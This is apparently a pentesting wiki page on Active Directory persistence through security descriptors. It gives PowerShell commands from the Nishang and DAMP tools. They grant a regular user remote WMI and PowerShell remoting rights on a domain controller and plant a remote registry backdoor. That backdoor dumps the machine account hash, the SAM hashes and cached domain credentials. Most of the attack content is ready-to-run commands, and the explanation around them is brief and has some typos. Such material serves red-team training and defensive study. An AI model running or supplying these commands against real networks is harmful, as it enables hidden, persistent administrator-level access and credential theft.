# Security Descriptors
|
||
|
||
Security Descriptor Definition Language (SDDL) defines the format which is used to describe a security descriptor. SDDL uses ACE strings for DACL and SACL:: `ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;`
|
||
|
||
The **security descriptors** are used to **store** the **permissions** an **object** has **over** an **object**. If you can just **make** a **little change** in the **security descriptor** of an object, you can obtain very interesting privileges over that object without needing to be member of a privileged group.
|
||
|
||
Then, this persistence technique is based on the hability to win every privilege needed against certain objects, to be able to perform a task that usually requires admin privileges but without the need of being admin.
|
||
|
||
You can give a user access to **execute remotely WMI** [**using this**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1):
|
||
|
||
```bash
|
||
Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'root\cimv2' -Verbose
|
||
Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'root\cimv2' -Remove -Verbose #Remove
|
||
```
|
||
|
||
Give access to **winrm PS console to a user** [**using this**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1)**:**
|
||
|
||
```bash
|
||
Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Verbose
|
||
Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Remove #Remove
|
||
```
|
||
|
||
Access the **registry** and **dump hashes** creating a **Reg backdoor using** [**DAMP**](https://github.com/HarmJ0y/DAMP)**,** so you can at any moment retrieve the **hash of the computer**, the **SAM** and any **cached AD** credential in the computer. So, it's very useful to give this permission to a **regular user against a Domain Controller computer**:
|
||
|
||
```bash
|
||
Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose
|
||
Get-RemoteMachineAccountHash -ComputerName <remotehost> -Verbose
|
||
Get-RemoteLocalAccountHash -ComputerName <remotehost> -Verbose
|
||
Get-RemoteCachedCredential -ComputerName <remotehost> -Verbose
|
||
```
